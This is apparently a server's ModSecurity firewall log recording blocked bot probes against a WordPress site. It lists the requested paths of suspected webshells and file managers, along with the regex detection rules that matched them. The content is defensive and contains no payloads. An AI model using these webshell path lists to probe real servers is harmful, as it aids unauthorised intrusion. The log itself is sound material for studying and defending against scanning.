[Thu Dec 11 00:03:07.167974 2025] [:error] [pid 49095:tid 49108] [client 172.98.33.6:34713] [client 172.98.33.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/admin/include/student.php"] [unique_id "aTmZu8orr4Jt2Tfx_EY-2QAAAUs"]
[Thu Dec 11 00:03:08.155729 2025] [:error] [pid 36976:tid 37016] [client 45.132.115.244:63273] [client 45.132.115.244] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/admin/cache.php"] [unique_id "aTmZvCSpHW5KVaY9tJnjsQAAAMk"]
[Thu Dec 11 00:03:08.960287 2025] [:error] [pid 46868:tid 46879] [client 45.132.115.250:21615] [client 45.132.115.250] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/administrator/index.php"] [unique_id "aTmZvI3NdlN2GOOyBjGj7gAAAQk"]
[Thu Dec 11 00:03:09.760119 2025] [:error] [pid 37062:tid 37079] [client 45.132.115.248:33111] [client 45.132.115.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/admin/controller/extension/extension/index.php"] [unique_id "aTmZvTB0I62HCw8Z5BSMXgAAAA8"]
[Thu Dec 11 00:03:10.571178 2025] [:error] [pid 49095:tid 49117] [client 172.98.33.7:20183] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/local/index.php"] [unique_id "aTmZvsorr4Jt2Tfx_EY-3QAAAVQ"]
[Thu Dec 11 00:03:11.368768 2025] [:error] [pid 36976:tid 37027] [client 172.98.33.9:63973] [client 172.98.33.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/themes/classic/x.php"] [unique_id "aTmZvySpHW5KVaY9tJnjuAAAANQ"]
[Thu Dec 11 00:03:12.771888 2025] [:error] [pid 49095:tid 49101] [client 45.132.115.253:30941] [client 45.132.115.253] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/adriv4.php"] [unique_id "aTmZwMorr4Jt2Tfx_EY-4wAAAUQ"]
[Thu Dec 11 00:03:14.166211 2025] [:error] [pid 49095:tid 49100] [client 45.132.115.247:28105] [client 45.132.115.247] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/themes/zMousse/otuz1.php"] [unique_id "aTmZwsorr4Jt2Tfx_EY-5gAAAUM"]
[Thu Dec 11 00:03:15.065153 2025] [:error] [pid 36975:tid 36986] [client 172.98.33.7:22523] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/sites/default/files/index.php"] [unique_id "aTmZw9_ZNQ3zMmb38BGY1wAAAIY"]
[Thu Dec 11 00:03:15.564621 2025] [:error] [pid 49095:tid 49098] [client 172.98.33.4:54829] [client 172.98.33.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/local/moodle_webshell/index.php"] [unique_id "aTmZw8orr4Jt2Tfx_EY-6gAAAUE"]
[Thu Dec 11 00:03:18.263241 2025] [:error] [pid 49095:tid 49118] [client 45.132.115.245:59855] [client 45.132.115.245] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/plugins/content/apismtp/wp-domain.php"] [unique_id "aTmZxsorr4Jt2Tfx_EY-8wAAAVU"]
[Thu Dec 11 00:03:21.257751 2025] [:error] [pid 36976:tid 37030] [client 172.98.33.20:40949] [client 172.98.33.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/plugins/content/apismtp/setting-api.php"] [unique_id "aTmZySSpHW5KVaY9tJnjygAAANc"]
[Thu Dec 11 06:59:49.642485 2025] [:error] [pid 35112:tid 35118] [client 170.106.197.109:52184] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTn7ZZ9ZpQ0WIeJhsJeFLQAAAUQ"]
[Thu Dec 11 10:15:02.698789 2025] [:error] [pid 57990:tid 58012] [client 182.44.10.67:41823] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTopJgqZT_dc36fQdXHz1wAAABE"]
[Thu Dec 11 14:14:51.089166 2025] [:error] [pid 57992:tid 58065] [client 110.39.248.28:49299] [client 110.39.248.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.39.248.28, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTphW-Ueau0BMFF2vHlZXgAAAJA"]
[Thu Dec 11 18:29:23.485709 2025] [:error] [pid 57990:tid 58001] [client 31.171.130.84:54773] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aTqdAwqZT_dc36fQdXFokgAAAAY"]
[Thu Dec 11 18:29:25.789669 2025] [:error] [pid 35112:tid 35132] [client 31.171.130.84:41207] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aTqdBZ9ZpQ0WIeJhsJdOUAAAAVI"]
[Thu Dec 11 18:29:29.494223 2025] [:error] [pid 57990:tid 58019] [client 31.171.130.56:41437] [client 31.171.130.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aTqdCQqZT_dc36fQdXFoowAAABg"]
[Thu Dec 11 18:29:31.770869 2025] [:error] [pid 58814:tid 58828] [client 31.171.130.92:56247] [client 31.171.130.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTqdC9iz0l9AD_3pkMwCHwAAAcw"]
[Thu Dec 11 18:29:35.393205 2025] [:error] [pid 35112:tid 35119] [client 31.171.130.105:22767] [client 31.171.130.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aTqdD59ZpQ0WIeJhsJdOfAAAAUU"]
[Thu Dec 11 18:29:36.771369 2025] [:error] [pid 57990:tid 58018] [client 31.171.130.99:28613] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTqdEAqZT_dc36fQdXFoqQAAABc"]
[Thu Dec 11 18:29:37.686943 2025] [:error] [pid 57991:tid 58032] [client 31.171.130.84:58261] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aTqdEaPyGmNXA2ZsETaUAwAAAEo"]
[Thu Dec 11 18:29:38.646477 2025] [:error] [pid 57990:tid 58012] [client 31.171.130.84:53331] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aTqdEgqZT_dc36fQdXForAAAABE"]
[Thu Dec 11 18:29:39.593351 2025] [:error] [pid 57992:tid 58069] [client 31.171.130.67:32267] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aTqdE-Ueau0BMFF2vHmXSQAAAJQ"]
[Thu Dec 11 18:29:40.538658 2025] [:error] [pid 58814:tid 58823] [client 31.171.130.101:55875] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aTqdFNiz0l9AD_3pkMwCXAAAAcc"]
[Thu Dec 11 18:29:41.919803 2025] [:error] [pid 57991:tid 58028] [client 31.171.130.95:34487] [client 31.171.130.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aTqdFaPyGmNXA2ZsETaUDgAAAEY"]
[Thu Dec 11 18:29:43.799898 2025] [:error] [pid 58814:tid 58816] [client 31.171.130.84:55997] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aTqdF9iz0l9AD_3pkMwCbwAAAcA"]
[Thu Dec 11 18:29:45.610663 2025] [:error] [pid 48261:tid 48269] [client 31.171.130.101:34361] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aTqdGeyPI4WU-4JmiQOiyAAAAYU"]
[Thu Dec 11 18:29:46.980509 2025] [:error] [pid 58814:tid 58822] [client 31.171.130.77:36993] [client 31.171.130.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTqdGtiz0l9AD_3pkMwCdQAAAcY"]
[Thu Dec 11 18:29:48.401884 2025] [:error] [pid 58099:tid 58101] [client 31.171.130.78:32613] [client 31.171.130.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aTqdHMKZVSF_bdPFqRj2dQAAAMA"]
[Thu Dec 11 18:29:52.112011 2025] [:error] [pid 27459:tid 27482] [client 31.171.130.95:53291] [client 31.171.130.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aTqdIFhPEXihPBKMpRM-awAAARU"]
[Thu Dec 11 18:29:53.543431 2025] [:error] [pid 57990:tid 58002] [client 31.171.130.66:56815] [client 31.171.130.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aTqdIQqZT_dc36fQdXFotwAAAAc"]
[Thu Dec 11 18:29:55.404587 2025] [:error] [pid 35112:tid 35119] [client 31.171.130.54:32143] [client 31.171.130.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aTqdI59ZpQ0WIeJhsJdOhwAAAUU"]
[Thu Dec 11 18:29:56.749947 2025] [:error] [pid 58814:tid 58829] [client 31.171.130.55:50711] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aTqdJNiz0l9AD_3pkMwCkAAAAc0"]
[Thu Dec 11 18:29:59.441253 2025] [:error] [pid 35112:tid 35120] [client 31.171.130.104:57541] [client 31.171.130.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aTqdJ59ZpQ0WIeJhsJdOkAAAAUY"]
[Thu Dec 11 18:30:00.851813 2025] [:error] [pid 58814:tid 58826] [client 31.171.130.94:55823] [client 31.171.130.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aTqdKNiz0l9AD_3pkMwCnQAAAco"]
[Thu Dec 11 18:30:02.312263 2025] [:error] [pid 57991:tid 58041] [client 31.171.130.59:48821] [client 31.171.130.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aTqdKqPyGmNXA2ZsETaUNgAAAFM"]
[Thu Dec 11 18:30:03.196137 2025] [:error] [pid 57992:tid 58051] [client 31.171.130.60:22675] [client 31.171.130.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aTqdK-Ueau0BMFF2vHmXXQAAAII"]
[Thu Dec 11 18:30:04.187188 2025] [:error] [pid 57991:tid 58026] [client 31.171.130.75:47787] [client 31.171.130.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aTqdLKPyGmNXA2ZsETaUPAAAAEQ"]
[Thu Dec 11 18:30:06.434865 2025] [:error] [pid 57992:tid 58068] [client 31.171.130.55:47997] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aTqdLuUeau0BMFF2vHmXaAAAAJM"]
[Thu Dec 11 18:30:07.354488 2025] [:error] [pid 58099:tid 58120] [client 31.171.130.56:48057] [client 31.171.130.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aTqdL8KZVSF_bdPFqRj2gQAAANM"]
[Thu Dec 11 18:30:08.318487 2025] [:error] [pid 57990:tid 58008] [client 31.171.130.72:46753] [client 31.171.130.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTqdMAqZT_dc36fQdXFougAAAA0"]
[Thu Dec 11 18:30:12.979067 2025] [:error] [pid 58099:tid 58119] [client 31.171.130.67:53111] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aTqdNMKZVSF_bdPFqRj2kAAAANI"]
[Thu Dec 11 18:30:15.316649 2025] [:error] [pid 48261:tid 48264] [client 31.171.130.82:42343] [client 31.171.130.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.82, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTqdN-yPI4WU-4JmiQOi3gAAAYA"]
[Thu Dec 11 18:30:21.125734 2025] [:error] [pid 48261:tid 48285] [client 31.171.130.82:42343] [client 31.171.130.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aTqdPeyPI4WU-4JmiQOi6wAAAZU"]
[Thu Dec 11 18:30:22.947923 2025] [:error] [pid 58099:tid 58117] [client 31.171.130.60:25337] [client 31.171.130.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.60, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aTqdPsKZVSF_bdPFqRj3EgAAANA"]
[Thu Dec 11 18:30:23.889935 2025] [:error] [pid 58099:tid 58122] [client 31.171.130.60:25337] [client 31.171.130.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aTqdP8KZVSF_bdPFqRj3FAAAANU"]
[Thu Dec 11 18:30:28.526173 2025] [:error] [pid 57991:tid 58040] [client 31.171.130.62:41689] [client 31.171.130.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aTqdRKPyGmNXA2ZsETaUYQAAAFI"]
[Thu Dec 11 18:30:33.157587 2025] [:error] [pid 57992:tid 58050] [client 31.171.130.85:35481] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aTqdSeUeau0BMFF2vHmXlAAAAIE"]
[Thu Dec 11 18:30:34.972073 2025] [:error] [pid 48261:tid 48264] [client 31.171.130.68:47889] [client 31.171.130.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aTqdSuyPI4WU-4JmiQOjBQAAAYA"]
